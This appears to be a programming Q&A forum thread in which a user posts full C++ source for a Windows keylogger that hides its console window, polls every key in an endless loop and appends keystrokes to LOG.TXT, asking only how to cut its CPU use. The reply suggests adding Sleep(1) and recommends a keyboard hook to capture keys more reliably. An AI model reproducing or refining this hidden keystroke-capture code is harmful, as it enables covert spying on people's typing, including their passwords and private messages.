-1

I run this on my computer and it take about 25% of my CPU, and I have i5... (Only 300kb of RAM) What I need to change in order to use less. Thanks. Is it the loop or something else I haven't noticed, really I don't have idea of CPU use.

#define _CRT_SECURE_NO_DEPRECATE //placed for unsafe warnings of fopen

    #include <iostream>
    #include <Windows.h>
    #include <WinUser.h>

    int Save (int key_stroke, char *file); 

    int main()
    {
        char i;
        ShowWindow(FindWindowA("ConsoleWindowClass", NULL), false);
        while (1) //consider an option to close console rather than keep looping forever
        {
              for (i = 8; i <= 190; i++)
              {
                if (GetAsyncKeyState(i) == -32767) 
                {
                    Save (i,"LOG.TXT");
                }
              }
        }      

        FreeConsole();

        std::cin.get();     //instead of sys pause, although will never occur because of the 
        return 0;           //infinite while loop
    }
    /* ********************** */
    /* ********************** */

    //changed "Key_stroke" to "key_stroke" 
    //also changed 's' to 'S' because that's how function was defined (line 7)
    int Save (int key_stroke, char *file) 
    {
        if (key_stroke == 1|| key_stroke == 2)
        {
            return 0;
        }
        FILE *OUTPUT_FILE;
        OUTPUT_FILE = fopen(file, "a+"); //#define used to prevent warning (at top)
        std::cout << key_stroke << std::endl; //using std::<whatever> instead of namespace

        //changed format to reduce lines
        if (key_stroke == 8) fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]"); 
            else if (key_stroke == 13) fprintf (OUTPUT_FILE, "%s", "[/n]");
            else if (key_stroke == 32) fprintf (OUTPUT_FILE, "%s", " ");
            else if (key_stroke == VK_TAB) fprintf (OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT) fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL) fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE) fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END) fprintf (OUTPUT_FILE, "%s", "[END]");
            else if (key_stroke == VK_HOME) fprintf (OUTPUT_FILE, "%s", "[HOME]");
            else if (key_stroke == VK_LEFT) fprintf (OUTPUT_FILE, "%s", "[LEFT}");
            else if (key_stroke == VK_RIGHT) fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
            else if (key_stroke == VK_UP) fprintf (OUTPUT_FILE, "%s", "[UP]");
            else if (key_stroke == VK_DOWN) fprintf (OUTPUT_FILE, "%s", "[DOWN]");
            else if (key_stroke == 190 || key_stroke == 110) fprintf (OUTPUT_FILE, "%s", " . ");

            //corrected logic error
            else fprintf (OUTPUT_FILE, "%s", &key_stroke);

            fclose (OUTPUT_FILE); //always closes despite any conditionals
            return 0;
    }
jakov
  • 1

1 Answers1

0

Add Sleep(1); (value is in milliseconds) after the for loop.

But adding a delay you risk missing keystrokes for your keylogger. And even without a delay, your approach is unreliable.

Instead consider using a keyboard hook, each time when a key is pressed Windows will call your function.

nnn
  • 3,980
  • 1
  • 13
  • 17